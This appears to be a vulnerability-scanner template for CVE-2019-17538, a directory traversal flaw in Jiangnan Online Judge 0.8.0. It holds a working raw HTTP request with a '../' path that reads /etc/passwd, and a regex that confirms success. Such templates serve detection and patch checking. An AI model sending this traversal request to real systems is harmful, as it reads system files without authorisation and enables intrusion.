id: CVE-2019-17538 info: name: Jnoj arbitrary local file inclusion (LFI) author: pussycat0x severity: high description: Jiangnan Online Judge (aka jnoj) 0.8.0 has directory traversal (LFI) vulnerability via web/polygon/problem/viewfile?id=1&name=../ reference: - https://github.com/shi-yang/jnoj/issues/53 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2019-17538 cwe-id: CWE-22 tags: cve,cve2019,jnoj,lfi requests: - raw: - | GET /jnoj/web/polygon/problem/viewfile?id=1&name=../../../../../../../etc/passwd HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded matchers-condition: and matchers: - type: status status: - 200 - type: regex regex: - "root:.*:0:0:" part: body